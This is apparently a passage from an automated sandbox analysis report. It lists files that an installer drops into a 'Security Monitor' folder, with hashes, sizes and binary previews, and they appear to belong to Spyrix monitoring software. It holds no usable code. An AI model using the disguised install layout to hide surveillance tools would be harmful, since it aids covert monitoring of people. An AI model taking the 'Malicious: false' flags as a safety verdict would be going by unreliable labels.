Preview:	........x..y....){<..3......m...-....[R/.n-.V.$.ZZ..#\|%$..."...X..B...`..{...6........w.#&....../b...o..p^w:;.O.sj.:.y..NV.[.o......z~..F......$.........#........Ce\.2.GeV,C.!.2.X...eH.....p......!.2.X.,C.a...c...).!.2d...Y...b.R,C.!.2.X...eH..).!.2d.R,C.eH..Y...b.R,C.!.2.X...eH..).!.2d.R,C.eH..Y...b.R,C.!.2.X...eH..).!.2d.R,C.eH..Y...b.R,C.!.2.X...eH..).!.2..2...Vn-Y.!.b.R,C.!.eH..).!.e.2.X...b...).!.2.X.,C.eH..).a9...c......e.2..)C.b...).!.2.X.,C.eH..).!.r...P...eH9R..G........OeV.e8....p.Y..a..Y..p.....3.......5jhh.h.EeP(8..Q/.."6.....L.E..C....k.].pA..9TF$.!...7j.{...o.;vL...r^R.(2...o.?...\|...o...K/..\.....;.rF(.......bBa..Pp(.Q....?..O..........O>.[.>.tS(......."C...F.....k..Q9..I.w......o....?.I...Q.._..Q.EQ.EQ.......^....Q..g.WG.w..Q.........+.o...6..l......{r.._...&~.....3)..k{)....R.JEo./....T.=..~....k[=....c.qj~l8.xm.G^o..S......9u.K..]9.J.....c...s......L?........4.C+W......S.c.2VN.....^4,l..2..r.Ue,5.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\skins\is-63S21.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	data
Category:	dropped
Size (bytes):	63924
Entropy (8bit):	7.981383813742454
Encrypted:	false
SSDEEP:	1536:OVuuNRRWZGzeoGBz3c0GaWGCywXfi4kvMG9Or:GuuN/zlgBlpMG9Or
MD5:	84BE9F08F6AC3191FC36CBE1F0C29007
SHA1:	72EB8308E4B5DCB1FACD0AB128E04EBC31FBAEB8
SHA-256:	A3EF2C08C1465BDAA8AAFC8B77A6347BD65CD92EB1738242362F74889CFDA630
SHA-512:	FCD8906E3F6A638185608869960A990F3DA2EE9508674E5FABDA588DF32B39625B5845AC3D975FF8F7E7CD8375CAFE6A7CB6C79C45D8EA9A7850238E95CF09BE
Malicious:	false
Reputation:	unknown
Preview:	........x..].@...5y...M.1y)j........a...]zGz..(..."..D.. ..{.5.D.c......n...mvv.].;.....o.w.3...........u/.......H.6......X.\|6.o.T....(++[.tiNNNFFFBBBhX......[.._dXHjB....9.....[.p~cf..D.b6R.h...z.U..@a.3P.h........A..%..Z.??..9)))....~.q1..'g..F.....y.:....m...A3@I.'P.h...:....@y.?P!h....TTT.`..........y.3fOO..0{...h...B.......@s.<........]Z.dIVVV..........;...@ 41.NP.h........A..K..-.5+%9e......?I........@..B."(.t)7779%.. .s..?....<BcE ....../.<........]........>.].\K.=.@ h..>..@j.?P!h.......Y.f........C,........t.@ H.4...T.....i..A..H.eK.Rb..}A.KL.....~...^h.]...;......z@C.$....O>....5..2..-."A.6.+..2.-..=D../.k.f..={..O..>......D...z@C.$.....O<......B..H...u_\|...2..?..S.57.7/9j.$".H......=.....e...A..Ke+..}....t.g.AlRx.......o;".H.P...T..K..0\...<."(.ti......=..b....]......y..D.&..@.p...k.Ca......K.6..{........]...R..O$....J....]z.s.(.?..Ov5.A...=...\.KYaS.....D....$.....D.%".H$]"..-S...@.D$...K.?...?...h.m[.%".....s.(....<u....t

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\skins\is-86TIC.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	data
Category:	dropped
Size (bytes):	122200
Entropy (8bit):	7.981243125429923
Encrypted:	false
SSDEEP:	3072:LcJ9eG7nGSn39jEfKuu6Arxa7DcbPDxMeYw0Hu/dxjfjOL:geGnh39jEfKuz4ky1J0MxE
MD5:	13E9A3A7019801450759DB3C1123B986
SHA1:	4C5CD7A1176217FAFBB92B285F5E39C271C2D26F
SHA-256:	3F8FBC9026671A1B94C6AAFD3FCB11CC015A950512883A91B0620CA22739FC31
SHA-512:	AECB72D9DB235476744C0E9A3CD8884231B38243E2B60CC4DAC84503B2D6EE42CD1EBF3A49A231724998E580A8910E0F05A1652A916987EE6E2D860D3C37258F
Malicious:	false
Reputation:	unknown
Preview:	....P...x...x\Gz...............z...zg..^.}.f...3.K...hFY#..F..II..)QY..A0.$.@$..s.A.s..@G.._.j4N.n....h4............9..V.\|..O...rc.7....\..U....V}]..#.....J..*..G.!d%..c%....p.\t.A!.....BV.H.....A.AB.. . !.y.y...<.<H.a..t.B..9#...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.. . !.y.y...<.<H.a.d.$.0.2..B.....!...B.. g...<H.!....<H.!....<H.!....<H.!....<H.!....<H.!....<H.!....<H.!....<H.!....<H.!....<H.!....<H.!....<H.!....<H.!....<H.!....<H.!....<H.!....<H.!....<H.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\skins\is-HI18P.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	data
Category:	dropped
Size (bytes):	65863
Entropy (8bit):	7.956619819086428
Encrypted:	false
SSDEEP:	1536:O6yYtz5wY3k3atdbzv0dBtGQKF30k2V7qyEEQq2uUwAqlgQM:O6yYtlxeaktcsJQzvqlgQM
MD5:	81E1F6AF711947DE0DECC68E58C0C293
SHA1:	557A98909549083A962BE781FA01D74979D01DDA
SHA-256:	B1E632717552DEB6BAB0D84839FC698DEA272EC0D1CE4A757BE5246788AB066A
SHA-512:	D2436A2CED9335BA4B4E2D08EB8449FDCDE43135A138A9EF6F73BCB7A98B56BFC0C8FFC29CC4F604B4F782AA0596EFD712F74B035A081ADFBFBCD88C015DACAB
Malicious:	false
Reputation:	unknown
Preview:	....?...x..].@.G.~..&j4.cbI.I..W.....b.).h,1F#F.{.FS...6......(`...{/r.{{,Y...=n.x..........w.ofK.Z....oE/..Q.a....7..p... @./.\|.d.....?_N%'..........l...J..O.n.fA..5......:...~g......w.;......~gc.......l.w6.;.......~gc.......l.w6.;......~g......w.;......~gc.......l.w6.;.......~gc.......l.w6.;......~g......w.;....~gc.......l.w6.;.......~gc.......l.w6.;.......~gc......w.;....~gc.......l.w6.;.......~gc.......l.w6.;.......~gc......w.;....~g......l.w6.;.......~gc.......l.w6.;.......~gc........w.;....~wuu...O.f. C..J,....J.......`.>..,.~.d+1&...[.1...J.I...VbL..+l%.~.e+1&...[.1..o..........l%.~..VbL..{l%.~..VbL.. ..cR.?f+1&..S..cR.......=......l%..~../...#.J..........{4[.1....b.J...>c.;w..c.J........W.].V}....Cw..O.8.W....J.J`.hC......t__.....k<...@.f...E.......{...o<.p#........9.uR.9t..JG.[A..Y.A0.2...=b......>...J..l.....?./\]]...+.z...c.....u.#\.A...l. ......6......~...q.x.?..........\|P.qq.-../..lq.-..........;........;..?...]q.+.w..o..#p?&...A.?.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\skins\is-HSVHP.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	data
Category:	dropped
Size (bytes):	61361
Entropy (8bit):	7.974577216527501
Encrypted:	false
SSDEEP:	1536:hsQScTKMW3NmUWxxSvsA+vvZQnBIuzN1SKvzuQ/S93iiXmNF+O:0c638UWrSvsfve6ux1S5Q/sm3
MD5:	DAC5D65C6B4F0B8483DBDA7EF4EFB3F2
SHA1:	BE01B81E548343D0888E912CDF3EBCE5A613CA85
SHA-256:	FBFCC9AF1DC9076257B3D38BDA525B13E0BA96EAD1DBA4178C5C1AE9DA28169E
SHA-512:	DB98B144AEEB09A3B0480F908DE0ACFA6D5832F8EB48D025048D6D6FFE2E01BFF46D16B3BF5AF5B1E6129E749A01E79968C79429A3493979CAAE519E2E22642E
Malicious:	false
Reputation:	unknown
Preview:	........x.....G.-....7.......w.....hv.F....F..x..A..y?.H#..FHB.0...w..M.M{W.].}7..;...d.......?tHeGFF.."NEfT....R.A?...H'-...c................ue.6{.!2.WXJ.(......;..N ......;..N ......;..N ......;..N ......;..N .....w....@~'....w...@~'....w...@~'....w...@~'....w...@~'....w....N ......;..N ......;..N ......;..N ......;..N ......;..N~';....w...@~'....w...@~'....w...@~'.......9.....8..{d..)......8}.Yd.H..>q...C..N.0u:.!...?;y.!.....4...i...DM";D...g..";D...Q.%;D....c..".p...%;D...a..!;D...!#G..".p...#....8}......8....d.H...o.P.C..N.3h0.!.....0...i..{..@v.4.....#;D...n}.>..S].."........[."...m;t$D....w...@~'....w...@~'....w..........Q`~..+!....{.BD...k.^....{..}......}..".....$D......L.(0...2..Q...<x...O.".....CF.$D.....M.{(..].L.:...`.}`..UB.A...>..o[.i1.=........I....6^....B.^...W.....,...;...2Z<x..'.'eI.J.(Q.D..%J.(Q.D..%J.(Q.D..%J.(Q.D..%J.(Q.D..%J.Ke.W.?.Qg.V.>xPf...W.....>....D.h......>m!...........h!.{."%J.....g.n...m.....ujk^a ...W.0....(o...~....

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\skins\is-J0QFK.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	data
Category:	dropped
Size (bytes):	144577
Entropy (8bit):	7.984713151564499
Encrypted:	false
SSDEEP:	3072:MZk6EgfzDfFnHj9A6d5qxvZkr0U26aqBQ5fzFZeKcrjXgtrOG79:M1fzDfFhAE5ykr0R6jBQ5rahgtrx9
MD5:	F7F4FE155A8FF420BCB4710212F0D469
SHA1:	F6A8265AA0504CE12397350A6CEE41F3B799B40D
SHA-256:	0232D8214B2FA4C6E261D72B3FB1E8EB76599F372FD8880AA252F4F494E7A7C1
SHA-512:	2205D714D4410315E4887A6B54306E99D4ED0B591284D20BE1DD451A4657DA039B9877698113E150059587216AE121E2AFDA14D3E74E649DB60B19BC559AB3B7
Malicious:	false
Reputation:	unknown
Preview:	.....4..x..}.`.....w...K.$v\|..8..vv.v...[.r.-.eu[..,Y..D.....{...@.h..{!@.F.S.gwI..A...........y3...........,...../..(......w._.....{~L....a&A.G..)@s.........4.h...\..@@s.........4.h...\ ..@s.........4..h..\ ..@s.0=s.\1.........4..h..\ ..@s.........4..h..\ ..@@s.........4.h...\..@@s.........4.h....\ ..@s.........4..h..\ ..@s..........b.D..r..L..N.oR.^.o.....,.9.Y...&.Y...i.&.0U..n.>......Y.N...L.1........`.^.a.....D"F...) .B..Ke..B.N........B!C...) .B.R..n)`....h4..[...b..Z........Cg.J.T#."..a...0.......V.C.S@..h.@...)....Y.pK.S@..f.D...) ...p..n)`...p:..k@.E.....s.r.....0..\....L....\|..b..{{Mf#..-...?:...}f.[.....X."...f..V..4...n..................6K..p.D...C..`.....v...8....)....b5.0. .J..A..0. .M....._.................p.....w...a...>L....`SWW.=.8...&...a]...........................a..nV..S#.....I.p..w...W.......<.{=.....}....?...~......3.(N.fG......\........Ek..........)'...}..D$.I$..T*....X.>>T. "..\|>.(;1... ...C.....iRRR ".`..q.q.=s.0.p"T.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\skins\is-J91JT.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	data
Category:	dropped
Size (bytes):	93110
Entropy (8bit):	7.980490586282423
Encrypted:	false
SSDEEP:	1536:KSERpvQcTD4m7uJB896GhoGf96pxWrGbZ3Wi0lXONwy/l+U0/F8/HftM6Tg19+Nc:tERpZcmQB89f6sGZWfX8w2+UfXJU
MD5:	C8EF42B94E09A94F677FB1FFED974205
SHA1:	BEE03B2984273D08E17C0351CD8E7B8E640E0CF4
SHA-256:	7794BCAB01CA657C2F908C79EED3AF9EB4B4585ED933DFB24F68B7AC5CEA4C4A
SHA-512:	DE4223558585667D040FDC14647EB0CB9EBE0001EE459E3E97A12C727017131354720BAF5F3CA399E11A17FBD61C65480836FF4F336B506753438FE8B42FDB56
Malicious:	false
Reputation:	unknown
Preview:	.....k..x..}.x.....Y.....~..e.~...v..l.yI6N........N...q6..l..E.z.)Q.EI.{'..X$...t.D.XAr..g..`P......w(..w.....=s......w...!.,P...-.g..\|.K.>..1..w...?7~s...6.\|.....F...y}/....4l..K.hF".2.b.h.P.2..C.h.?.d.hX.@H..j.@H..a.j..@.#..a.j.5.@.#..a..5.@.....a..5.@....a.0.5.@....Q...0...F P...0j...F P..D8.6.2?...O..........a..5.@.......;.C.#b].5.a.j..@.#..a.j.5..u...j....~.5.@.#..a..5.@.......j.0.5.@.....0.5..F.....0...F..Q....OP...0...F P...0j...F P...j...F.#P...j..@.#P.aDlh.X..F.....0...F..Q...0...F P...0j...F P..D......a..5.@....a.0.5.@.....0.5..F.....0...F..Q...0.!..+y.....a..5.@....N.s.aD,k..F.....0...F..Q...0..^..`4\|.j...F P...j...F.#P...j...D.}.a.j..@.#..a.j.5..)....F.....0...F..Q.8...j...F P...j..!5...0.5.@.....4\..F.....0...F....O....a..5.@....a.0.5.@.....0.5..F.....0...Fl...P...0..n..B.#P...j......\|.#.....y.[.c....H.....i.....!j...F"._.w....a$.5.D....a.0.5.D...H.0.5.D...H.0.........a$.5.D....a.0.5.D...H.0.5....5.D...G.3A...H.0.....M.Hd..a$2.I.q......V............

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\skins\is-U4DSN.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	data
Category:	dropped
Size (bytes):	27663
Entropy (8bit):	7.90463581132329
Encrypted:	false
SSDEEP:	768:cMmPZ4Bc3LNhpK28BWmW0l2QbBwgx+9VBo7xXz9YAgx3p8:NmPZsEP9I2wBwrHOxXz61x3a
MD5:	C9A294C557F4CA094C11719AD8D7DEFC
SHA1:	3FEBA4F2A142FCC95C74F6FC0E520C4A369BB5A0
SHA-256:	EB1BE2B4FBA03260128E7EC0F5CDB8F4320E5D21AF40E7DD8EB956429B4AABEE
SHA-512:	1DB4E0649A2C2D8C75641BB9A374FC9B5A8CCD4D9336267D9FD1FA680EEE5DC48993910825303F4CEAD9FB3FD2D1814BAB39A21C1A5F74A7605E6555560B0181
Malicious:	false
Reputation:	unknown
Preview:	.....l..x..k...}.7$%J"MI.je.H..D...8........._H..`.....`....@..@..H..q\Zm.....:...&...nRY.6.u..IU\..&.Rv...i]..<..9=}........a.x..........v.{.qF..o.>....Q?.T?....f.d....n........!..Pw.}... ...O.>A.....O.>A... \|....'.. \|....'.....O.>A.....O.>A.. \|....'.. \|...B.....O.>A.....O..'.. \|....'.. \|..>A.....O.>A.....O...'.. \|....'.. \|.O.>A.....O.>A........'.. \|....'.. .O.>A.....O.>A..!\|....'.. \|....'....O.>A.....O.>A... \|....'.. \|....'.....O.>A.....O.>A.. \|....'......c.........$G/%X.$Q>.M...>.'.....\|.O...'.. \|.O..>.'.....\|.X.lB....).I..'\|....'....$..S.\|.P7. 4.n.>..o.u...~6..y..}k../....~....J..,}...g#.q ...HD.....(kq..V..'<....C.?...........8. l.m....z.....P$?.{.......hh......}aH.....=.T.WH.........{....Y~....a.$J~..D....`$"..!]q8......(.q..$.W.j...u..8\|..B.K....."X<qH.Xz.8\|.R.`I~..{nK.K.....-.,..{.#X...o........9.E...O~..Y... \|.By...w.W.[....8\|k1.....j..=.}.._/~...7;[....N.._.uj...KGvW...B..J...f.C.........7....m.-......8.y"7.re!...-.>8_6.wWJ.).ur..!.q.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	5346216
Entropy (8bit):	7.988360707624317
Encrypted:	false
SSDEEP:	98304:9Aukt/stZJew8Q4dDEzRGWhn2C+RQJ0AbFGPIdPcMAWF2X+3ftgKOJT8:yLRTV5dD4RHd2d6bMQpAOQJI
MD5:	11ADE4625528B6E7E1601681867E094E
SHA1:	8B15562DD9E126772489D6AA0471DC0AA6C7D584
SHA-256:	83D34416005C617CB29111CBB4AFC963DFB293C67BB78481734ED927BCA5B67F
SHA-512:	20E4D7EC8C33433EEA1A879008DCA19F235E051FE5F7E58DD950E13993355205CC8792C08EC7C506ADF0B284E845A01C5BBC36DBDD5899294F3EEB0D38CEAD52
Malicious:	false
Reputation:	unknown
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L...}..f.................rF...................F...@...........................,.......R..........@..........................\|l&......@N.8............rQ..!...........`h......................l&..............................................................@F.........................@............@...PF......2..............@............@....F......J..............@.................G.....................@............P....H..H..................@.................H......"..............@.................H......$..............@.................H......$..............@............@....I..h...&..............@....rsrc.... ...@N.....................@................`h...+..B..............@....data....`...`&..`....K.............@....adata........,.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spmm.exe (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2012072
Entropy (8bit):	6.507543848379717
Encrypted:	false
SSDEEP:	24576:I/+4IbyaBqP3uDjd5DGX0BcSRDEpMFWJQi2GstDTwT7ijxHviMgaMVp/bdK6dF3r:cKJ+SCpnZsgNdK48h9njDQBB
MD5:	C0E67E8723775249CA0AE2C52E7EDD9E
SHA1:	3C460DBE351520494B0DCD8CAF5E1B0A53ACD2E4
SHA-256:	D73E36AC1840D1D34DDF62DF55A8CFD64C17FCA9C92C3159D891964C2A7D0C3F
SHA-512:	1A5AFA83529DB0B4F573D1BBC38BDA6958BE6991343E76A267516043250CE960E859560EE9433DFB93EF42CDBF97DED87CB3871057C8C746C4A75E2AAF548FD4
Malicious:	false
Reputation:	unknown
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L......b..........................................@..........................@......$%...........@...............................;......l................!...`..\|&...........................P...............................0..&....................text............................... ..`.itext........... .................. ..`.data....{.......\|..................@....bss.....W...........\|...................idata...;.......<...\|..............@....didata.&....0......................@....tls....<....@...........................rdata.......P......................@..@.reloc..\|&...`...(..................@..B.rsrc...l...........................@..@.............P......................@..@........................................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\sps.exe (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	5041576
Entropy (8bit):	7.897794442025251
Encrypted:	false
SSDEEP:	98304:qsV54zBHy/xGu5//Sjl9WBOo/lKCJPNKr0NPq5Csnm7vkj:Rj49SMuJ/pv9p1gEn2
MD5:	5788EF0F651292941577684F0499B114
SHA1:	81B688AE137BB2F79C44B8A22737CB1416D2C00B
SHA-256:	625BC8352D48D8F0764CAD81AEE94217D4B139DFD00E51DCAA5128F36CD20952
SHA-512:	7A71FD55F60A0B5CE82FF61381E73B38E16B495784739B0580D391FCD652A4C147FF8E558939B1AF4D085F749B6EE42C142D52037CA1BF0B61C64A49C3D2A7C3
Malicious:	false
Reputation:	unknown
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....<.f..................,..X................,...@...................................M..........@..........................\|...p.....5...............L..!............E.......................................................................................,......*..................@............@....,.....................@............0....,......H..............@............p... ......................@............P....0..<..................@.................0.....................@.................0.....................@.................1.....................@.................1.....................@....rsrc.........5.....................@................E...&... .............@....d....................G.............@....adata..........

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spyrix.url (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows 95 Internet shortcut text (URL=<"https://www.spyrix.com/purchase.php?from=sfk_uninstall">), ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	80
Entropy (8bit):	4.849870364976637
Encrypted:	false
SSDEEP:	3:HRAbABGQYmjzcSL0dyTKVQXGNErnVIXKobn:HRYFVmjzjL0dyTK6XaErVI9
MD5:	7B7C177B6FA25296550B3643448FCA00
SHA1:	FA9744B1844CA32600EE661081CA6BBFD1B317D4
SHA-256:	F7B25ED414E8005EDDBBEA787FA3594C798FC7F683E77835DAA33635A395CE51
SHA-512:	5F61FF8894C530B21F7E4646798ECFA65D88FF55AF807280AA16233818E0F0043EBE6BF764C48BEA4C160EDAA3800BD9894C1BD2D01370F7200CD5E718C7B74A
Malicious:	false
Reputation:	unknown
Preview:	[InternetShortcut]..URL="https://www.spyrix.com/purchase.php?from=sfk_uninstall"

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\sqlite3.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	826775
Entropy (8bit):	6.520580307753605
Encrypted:	false
SSDEEP:	24576:QJCoOO8Mh2X8Vy0JHfv3kDpigeLKh2R6fFQVp:QL8MFVym/kDpitLKZy
MD5:	16A1612789DC9063EBEA1CB55433B45B
SHA1:	438FDE2939BBB9B5B437F64F21C316C17CE4A7F6
SHA-256:	6DEAEC2F96C8A1C20698A93DDD468D5447B55AC426DC381EEF5D91B19953BB7B
SHA-512:	D727CE8CD793C09A8688ACCB7A2EB5D8F84CC198B8E9D51C21E2DFB11D850F3AC64A58D07FF7FE9D1A2FDB613567E4790866C08A423176216FF310BF24A5A7E3
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...TM<W....*......!.....j.........................a.........................`.......#........ .........................................x.......................@/..................................................................................text...,i.......j..................`.P`.data................p..............@.`..rdata..............................@.`@.bss..................................`..edata...............f..............@.0@.idata..............................@.0..CRT....,...........................@.0..tls.... ...........................@.0..rsrc...x...........................@.0..reloc..@/.......0..................@.0B/4........... ......................@.@B/19.........0......................@..B/31..................j..............@..B/45.................................@..B/57.................................@.0B/70.....i.... ..........

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\ssleay32.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	330752
Entropy (8bit):	6.515569416355077
Encrypted:	false
SSDEEP:	6144:67uz8VUGgQvLpVZ0hRBbV94fT5fyEH1iiDDR/WzdHAjdqqI4PFtK9S7/Q0RHK9mo:uuwUGggLpVZ0NbV9CNfyEHAiDDR/Wzdt
MD5:	CB66A1FEC9236CD46E2A3E5A00D887A5
SHA1:	531113059786F73A8C2376E08A12E62970B41E51
SHA-256:	73234A2B168E2CA92B2E09346C48FB85CF10085FAF76D7923257986B3F528E1C
SHA-512:	F5E3AD6B8FD6DCE55C0596BAF6961F86CD98598075899C02FB0B5C32FAF26FEA80C7C348C08D5D5FE41D89D61D869CF27AB230962A896D085206A895881CD926
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........hN.. ... ... ...[... ..q.... ..q.... ..q.... ...!.>. ..q..>. ..q.... ..q.... ..q.... .Rich.. .........................PE..L...L*.O...........!.........b......+........................................`.........................................p$...y..<.......8.................... ..D+...................................u..@...............P............................text...P........................... ..`.rdata..@...........................@..@.data...D\.......@..................@....rsrc...8...........................@..@.reloc...1... ...2..................@..B................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\temp\reg\info.dat (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	GIF image data, version 89a, 884 x 198
Category:	dropped
Size (bytes):	90361
Entropy (8bit):	7.9769989580983625
Encrypted:	false
SSDEEP:	1536:Zy6BW/LDE6LyfJVEr+jMi2hm9YFrRUv9Ie2eIDtTER:M6eL46LCJVpCsy6IAIRe
MD5:	3475836FCF6BBE603D1E83DD8A3C4765
SHA1:	DD92253B2600C1612FDC657FFB41E4FD66352C6B
SHA-256:	F8E582779693B4DAB740E13721093D9B8EB69DC0FF5CFACB5208C04321BA37F8
SHA-512:	8AE5E48692962A7F8049521F3B3510F1F1B9EF7CAF4A40526D7D6286BBEB647CFA54D88AF9A8E03AD884A42AECBA677E0A229577A394CD228CDF98E0F99506E4
Malicious:	false
Reputation:	unknown
Preview:	GIF89at..........u.J................i]OOH..........mQ...K2..C$..............B.p..X...dH....V<........M........%#"...........z.....[&....x8#.........`..............,$.....}}}.._...d0......Hw.hih...L..............xK..q..v.............e(......~......`.z`..........g.;".......t..........Y....r+.....q....xd...........R...........ad\.......WA......a...Y).R......3... .....]CHA6.......n............z ....a<..2.b...................L0....%+...nst]cc......lnk..M..x....QD.....&........Y..;........syu^^X......~..........fnr..e..xL..................U.hV....`..j................D....g..R....^.....<5.vqCCC..84/..2..5../..;.....&....L%.r+...........).....................................................W..V.......v............R......WYW....?%.........!..NETSCAPE2.0.....!..XMP DataXMP<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c140 79.160451, 2017/05/06-01:08:21 "> <rdf:RDF xmlns:rdf="ht

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\temp\reg\info.net (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	42
Entropy (8bit):	4.248529327128576
Encrypted:	false
SSDEEP:	3:N1KJS40dyTKVQXGNErnVernn:Cc40dyTK6XaErVer
MD5:	8F1A40DDD71F7EA45DF0E2FE0BACA597
SHA1:	E64C2983DE93F6566752E01BC0A2A5F3983759F6
SHA-256:	2360EAEBD32653D08F75DB2F1C2AE67F4AE3906D09F94AD4C532BA35951553D1
SHA-512:	C73BE7BE0C52CDAB4BA1E3022D9D1E1E2DBC897E34A4F243A7D8936BB7B4A2F46DF2BD1F6E7CA63F6A80C799E4EAD1EAEE38550683473EBF53FC8E2569112BBF
Malicious:	false
Reputation:	unknown
Preview:	http://www.spyrix.com/purchase.php?prg=sfk

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\temp\reg\info.ttl (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	GIF image data, version 89a, 327 x 57
Category:	dropped
Size (bytes):	7609
Entropy (8bit):	7.838852889190603
Encrypted:	false
SSDEEP:	192:CRjl+OutIyaaHKip9QY5Lg6pWlicYMG5/b:OshLaIFUug6pGzo
MD5:	359D85C48DCA7C9C529A7EC0F4D30DC4
SHA1:	749EE1A5C90299C9360DD3131222CE92584FFCC2
SHA-256:	03BBB9C7C115C8FD5E2FB573B86687AE27672C7F8B970FB9661E5007FC6E42BE
SHA-512:	9494049C968B6BEE93090630086EB4D8129B48E5E6CBA3CF2E7EEF2114948316D0068F859594EA3A464AB2FE99510C1C94EEF786A933114C0CFC630C13435B1D
Malicious:	false
Reputation:	unknown
Preview:	GIF89aG.9....Gq.....$...Z...ud.........\|.........,&..........M5.................g.........................yv.....6.............v.72......g.L........C.................T.......m...kg.......eX...X}.k..{................s.......{..........................................n...................C......ZU..................................................`......D@.M........z........F..........\|..a....................i........................s.......UQ...............................4c...................?%....w.#Y.BBB.........000.........fff.....888TTTxxx.ZD..........................d.........................................................................r..*]....Q.....U..~............OM.......................................................!..NETSCAPE2.0.....!..XMP DataXMP<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c140 79.160451, 2017/05/06-01:08:21 "> <rdf:RDF xmlns:rdf="ht

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\temp\reg\is-ASQ85.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	42
Entropy (8bit):	4.248529327128576
Encrypted:	false
SSDEEP:	3:N1KJS40dyTKVQXGNErnVernn:Cc40dyTK6XaErVer
MD5:	8F1A40DDD71F7EA45DF0E2FE0BACA597
SHA1:	E64C2983DE93F6566752E01BC0A2A5F3983759F6
SHA-256:	2360EAEBD32653D08F75DB2F1C2AE67F4AE3906D09F94AD4C532BA35951553D1
